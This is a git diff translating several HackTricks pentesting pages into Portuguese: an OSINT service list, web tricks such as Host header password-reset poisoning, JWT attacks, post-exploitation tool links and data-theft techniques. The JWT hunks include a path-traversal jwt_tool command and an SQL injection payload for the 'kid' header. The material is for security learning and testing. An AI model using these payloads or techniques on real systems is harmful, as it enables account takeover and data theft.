+Verifique se o endereço IP está relacionado a um bot que registra contas. Também pode verificar nomes de usuário e e-mails. Inicialmente gratuito.
 
 # [Hunter](https://hunter.io/)
 
-Find and verify emails.  
-Some free API requests free, for more you need to pay.  
-Commercial?
+Encontre e verifique e-mails.
+Algumas solicitações de API gratuitas, para mais você precisa pagar.
+Comercial?
 
 # [AlientVault](https://otx.alienvault.com/api)
 
-Find Malicious activities related to IPs and Domains. Free.
+Encontre atividades maliciosas relacionadas a IPs e Domínios. Gratuito.
 
 # [Clearbit](https://dashboard.clearbit.com/)
 
-Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\).  
-You need to pay to access all the possibilities.  
-Commercial?
+Encontre dados pessoais relacionados a um e-mail \(perfis em outras plataformas\), domínio \(informações básicas da empresa, e-mails e pessoas que trabalham\) e empresas \(obtenha informações da empresa a partir do e-mail\).
+Você precisa pagar para acessar todas as possibilidades.
+Comercial?
 
 # [BuiltWith](https://builtwith.com/)
 
-Technologies used by webs. Expensive...  
-Commercial?
+Tecnologias usadas por sites. Caro...
+Comercial?
 
 # [Fraudguard](https://fraudguard.io/)
 
-Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access.  
-Commercial?
+Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Tem algum acesso gratuito à API.
+Comercial?
 
 # [FortiGuard](https://fortiguard.com/)
 
-Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access.
+Verifique se um host \(domínio ou IP\) está relacionado a atividades suspeitas/maliciosas. Tem algum acesso gratuito à API.
 
 # [SpamCop](https://www.spamcop.net/)
 
-Indicates if host is related to spam activity. Have some free API access.
+Indica se o host está relacionado a atividades de spam. Tem algum acesso gratuito à API.
 
 # [mywot](https://www.mywot.com/)
 
-Based on opinions and other metrics get if a domain is related with suspicious/malicious information.
+Com base em opiniões e outras métricas, verifique se um domínio está relacionado a informações suspeitas/maliciosas.
 
 # [ipinfo](https://ipinfo.io/)
 
-Obtains basic info from an IP address. You can test up to 100K/month.
+Obtém informações básicas de um endereço IP. Você pode testar até 100K/mês.
 
 # [securitytrails](https://securitytrails.com/app/account)
 
-This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver....  
-You have some free access.
+Esta plataforma fornece informações sobre domínios e endereços IP, como domínios dentro de um IP ou dentro de um servidor de domínio, domínios possuídos por um e-mail \(encontrar domínios relacionados\), histórico de IP de domínios \(encontrar o host por trás do CloudFlare\), todos os domínios usando um nameserver....
+Você tem algum acesso gratuito.
 
 # [fullcontact](https://www.fullcontact.com/)
 
-Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access.
+Permite pesquisar por e-mail, domínio ou nome da empresa e recuperar informações "pessoais" relacionadas. Também pode verificar e-mails. Há algum acesso gratuito.
 
 # [RiskIQ](https://www.spiderfoot.net/documentation/)
 
-A lot of information from domains and IPs even in the free/community version.
+Muita informação de domínios e IPs, mesmo na versão gratuita/comunitária.
 
 # [\_IntelligenceX](https://intelx.io/)
 
-Search Domains, IPs and emails and get info from dumps. Have some free access.
+Pesquise Domínios, IPs e e-mails e obtenha informações de dumps. Tem algum acesso gratuito.
 
 # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
 
-Search by IP and gather information related to suspicions activities. There is some free access.
+Pesquise por IP e reúna informações relacionadas a atividades suspeitas. Há algum acesso gratuito.
 
 # [Greynoise](https://viz.greynoise.io/)
 
-Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access.
+Pesquise por IP ou faixa de IP e obtenha informações sobre IPs que estão escaneando a Internet. 15 dias de acesso gratuito.
 
 # [Shodan](https://www.shodan.io/)
 
-Get scan information of an IP address. Have some free api access.
+Obtenha informações de escaneamento de um endereço IP. Tem algum acesso gratuito à API.
 
 # [Censys](https://censys.io/)
 
-Very similar to shodan
+Muito semelhante ao shodan.
 
 # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
 
-Find open S3 buckets searching by keyword.
+Encontre buckets S3 abertos pesquisando por palavra-chave.
 
 # [Dehashed](https://www.dehashed.com/data)
 
-Find leaked credentials of emails and even domains  
-Commercial?
+Encontre credenciais vazadas de e-mails e até mesmo domínios.
+Comercial?
 
 # [psbdmp](https://psbdmp.ws/)
 
-Search pastebins where a email appeared. Commercial?
+Pesquise pastebins onde um e-mail apareceu. Comercial?
 
 # [emailrep.io](https://emailrep.io/key)
 
-Get reputation of a mail. Commercial?
+Obtenha a reputação de um e-mail. Comercial?
 
 # [ghostproject](https://ghostproject.fr/)
 
-Get passwords from leaked emails. Commercial?
+Obtenha senhas de e-mails vazados. Comercial?
 
 # [Binaryedge](https://www.binaryedge.io/)
 
-Obtain interesting info from IPs
+Obtenha informações interessantes de IPs.
 
 # [haveibeenpwned](https://haveibeenpwned.com/)
 
-Search by domain and email and get if it was pwned and passwords. Commercial?
+Pesquise por domínio e e-mail e verifique se foi comprometido e senhas. Comercial?
 
-[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\)
+[https://dnsdumpster.com/](https://dnsdumpster.com/)\(em uma ferramenta comercial?\)
 
-[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\)
+[https://www.netcraft.com/](https://www.netcraft.com/) \(em uma ferramenta comercial?\)
 
-[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\)
+[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(em uma ferramenta comercial?\)
 
 {{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md
index f442a4533..081d78c05 100644
--- a/src/other-web-tricks.md
+++ b/src/other-web-tricks.md
@@ -1,52 +1,35 @@
-# Other Web Tricks
+# Outras Dicas da Web
 
 {{#include ./banners/hacktricks-training.md}}
 
-

+### Cabeçalho Host
 
-**Get a hacker's perspective on your web apps, network, and cloud**
-
-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-### Host header
-
-Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
+Várias vezes o back-end confia no **Cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu valor como o **domínio para enviar um reset de senha**. Assim, quando você recebe um e-mail com um link para redefinir sua senha, o domínio utilizado é aquele que você colocou no Cabeçalho Host. Então, você pode solicitar o reset de senha de outros usuários e mudar o domínio para um controlado por você para roubar seus códigos de reset de senha. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
 
 > [!WARNING]
-> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**.
+> Note que é possível que você não precise nem esperar o usuário clicar no link de redefinição de senha para obter o token, pois talvez até mesmo **filtros de spam ou outros dispositivos/bots intermediários cliquem nele para analisá-lo**.
 
+### Booleanos de Sessão
 
-### Session booleans
+Às vezes, quando você completa alguma verificação corretamente, o back-end **apenas adiciona um booleano com o valor "True" a um atributo de segurança da sua sessão**. Então, um endpoint diferente saberá se você passou com sucesso naquela verificação.\
+No entanto, se você **passar a verificação** e sua sessão receber aquele valor "True" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo** mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
 
-Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\
-However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
+### Funcionalidade de Registro
 
-### Register functionality
+Tente se registrar como um usuário já existente. Tente também usar caracteres equivalentes (pontos, muitos espaços e Unicode).
 
-Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode).
+### Tomar Contas de E-mail
 
-### Takeover emails
+Registre um e-mail, antes de confirmá-lo, mude o e-mail, então, se o novo e-mail de confirmação for enviado para o primeiro e-mail registrado, você pode tomar qualquer e-mail. Ou se você puder habilitar o segundo e-mail confirmando o primeiro, você também pode tomar qualquer conta.
 
-Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account.
-
-### Access Internal servicedesk of companies using atlassian
+### Acessar o Servicedesk Interno de Empresas Usando Atlassian
 
 {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
 
-### TRACE method
+### Método TRACE
 
-Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
+Os desenvolvedores podem esquecer de desativar várias opções de depuração no ambiente de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web responderá a solicitações que usam o método `TRACE` ecoando na resposta a exata solicitação que foi recebida. Esse comportamento é frequentemente inofensivo, mas ocasionalmente leva à divulgação de informações, como o nome de cabeçalhos de autenticação internos que podem ser anexados a solicitações por proxies reversos. ![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
 
 ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
 
-

-
-**Get a hacker's perspective on your web apps, network, and cloud**
-
-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ./banners/hacktricks-training.md}}
diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md
index 8bd354c0a..debfb4cc4 100644
--- a/src/pentesting-dns.md
+++ b/src/pentesting-dns.md
@@ -1,9 +1,9 @@
 {{#include ./banners/hacktricks-training.md}}
 
-**Research more about attacks to DNS**
+**Pesquise mais sobre ataques ao DNS**
 
-**DNSSEC and DNSSEC3**
+**DNSSEC e DNSSEC3**
 
-**DNS in IPv6**
+**DNS em IPv6**
 
 {{#include ./banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md
index 016909b42..5379edf96 100644
--- a/src/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -46,7 +46,7 @@ Para verificar se a assinatura de um JWT está sendo verificada:
 
 Verifique se o token dura mais de 24h... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando com ele corretamente.
 
-### Força bruta do segredo HMAC
+### Força bruta da chave secreta HMAC
 
 [**Veja esta página.**](../generic-hacking/brute-force.md#jwt)
 
@@ -95,7 +95,7 @@ python3 jwt_tool.py JWT_HERE -X s
 
 ### Visão Geral de Problemas com Kid
 
-Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, que se torna particularmente vital em ambientes onde múltiplas chaves existem para a verificação da assinatura do token. Essa reivindicação ajuda na seleção da chave apropriada para verificar a assinatura de um token.
+Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação de assinatura de token. Essa reivindicação ajuda na seleção da chave apropriada para verificar a assinatura de um token.
 
 #### Revelando Chave através de "kid"
 
@@ -103,7 +103,7 @@ Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pr
 
 #### Traversal de Caminho com "kid"
 
-A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para mudar o valor `kid` enquanto mantém a assinatura original pode ser alcançado usando a flag `-T` no jwt_tool, como demonstrado abaixo:
+A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor de `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para mudar o valor de `kid` enquanto mantém a assinatura original pode ser alcançado usando a flag `-T` no jwt_tool, como demonstrado abaixo:
 ```bash
 python3 jwt_tool.py  -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
@@ -111,7 +111,7 @@ Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT vá
 
 #### Injeção SQL via "kid"
 
-Se o conteúdo da reivindicação `kid` for utilizado para buscar uma senha em um banco de dados, uma injeção SQL pode ser facilitada ao modificar o payload `kid`. Um exemplo de payload que utiliza injeção SQL para alterar o processo de assinatura do JWT inclui:
+Se o conteúdo da reivindicação `kid` for empregado para buscar uma senha em um banco de dados, uma injeção SQL pode ser facilitada modificando o payload `kid`. Um exemplo de payload que usa injeção SQL para alterar o processo de assinatura do JWT inclui:
 
 `non-existent-index' UNION SELECT 'ATTACKER';-- -`
 
@@ -149,7 +149,7 @@ print("e:", hex(key.e))
 ```
 #### x5u
 
-URL X.509. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido na RFC 52807. A segurança de transporte é necessária para transferir os certificados.
+URL X.509. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido na RFC 52807. A segurança de transporte é necessária para transferir os certificados.
 
 Tente **mudar este cabeçalho para uma URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
 
@@ -234,7 +234,7 @@ Foi observado que algumas aplicações web dependem de um serviço JWT confiáve
 
 **Verificação de Expiração de Tokens**
 
-A expiração do token é verificada usando a reivindicação "exp" Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitos casos, capturar e reproduzir o JWT de outro usuário pode permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
+A expiração do token é verificada usando a reivindicação "exp" Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário pode permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
 
 - Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
 
diff --git a/src/post-exploitation.md b/src/post-exploitation.md
index 531f82530..539e99c85 100644
--- a/src/post-exploitation.md
+++ b/src/post-exploitation.md
@@ -2,15 +2,15 @@
 
 ## **Local l00t**
 
-- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem.
-- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.
+- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Esses scripts, além de procurar por vetores de PE, procurarão informações sensíveis dentro do sistema de arquivos.
+- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): O **projeto LaZagne** é uma aplicação de código aberto usada para **recuperar muitas senhas** armazenadas em um computador local. Cada software armazena suas senhas usando diferentes técnicas (texto simples, APIs, algoritmos personalizados, bancos de dados, etc.). Esta ferramenta foi desenvolvida com o propósito de encontrar essas senhas para os softwares mais comumente usados.
 
 ## **External Services**
 
-- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to.
-- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to.
-- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API.
-- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token.
-- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review.
+- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará à API do Confluence usando um token de acesso, exportará para PDF e baixará os documentos do Confluence aos quais o alvo tem acesso.
+- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Ferramenta da Red Team para exfiltrar arquivos do Google Drive de um alvo ao qual você (o atacante) tem acesso, via API do Google Drive. Isso inclui todos os arquivos compartilhados, todos os arquivos de unidades compartilhadas e todos os arquivos de unidades de domínio aos quais o alvo tem acesso.
+- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Ferramenta da Red Team para exfiltrar o Diretório de Pessoas do Google da organização alvo ao qual você tem acesso, via API de Pessoas do Google.
+- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta é uma ferramenta desenvolvida em Python que usa as APIs nativas do Slack para extrair informações 'interessantes' de um espaço de trabalho do Slack dado um token de acesso.
+- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound é uma ferramenta de linha de comando para equipes vermelhas e azuis realizarem rapidamente reconhecimento de um espaço de trabalho/organização do Slack. Slackhound torna a coleta de usuários, arquivos, mensagens, etc. de uma organização rapidamente pesquisável e grandes objetos são escritos em CSV para revisão offline.
 
 {{#include ./banners/hacktricks-training.md}}
diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md
index c24ee8094..7d085c968 100644
--- a/src/stealing-sensitive-information-disclosure-from-a-web.md
+++ b/src/stealing-sensitive-information-disclosure-from-a-web.md
@@ -1,13 +1,13 @@
-# Stealing Sensitive Information Disclosure from a Web
+# Roubo de Informações Sensíveis a partir de uma Web
 
 {{#include ./banners/hacktricks-training.md}}
 
-If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\
-Here I present you the main ways to can try to achieve it:
+Se em algum momento você encontrar uma **página da web que apresenta informações sensíveis com base na sua sessão**: Talvez esteja refletindo cookies, ou imprimindo detalhes de cartão de crédito ou qualquer outra informação sensível, você pode tentar roubá-la.\
+Aqui apresento as principais maneiras que você pode tentar alcançar isso:
 
-- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
-- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
+- [**CORS bypass**](pentesting-web/cors-bypass.md): Se você conseguir contornar os cabeçalhos CORS, poderá roubar as informações realizando uma solicitação Ajax para uma página maliciosa.
+- [**XSS**](pentesting-web/xss-cross-site-scripting/): Se você encontrar uma vulnerabilidade XSS na página, pode ser capaz de abusar dela para roubar as informações.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se você não conseguir injetar tags XSS, ainda pode ser capaz de roubar as informações usando outras tags HTML regulares.
+- [**Clickjaking**](pentesting-web/clickjacking.md): Se não houver proteção contra esse ataque, você pode ser capaz de enganar o usuário para enviar os dados sensíveis (um exemplo [aqui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}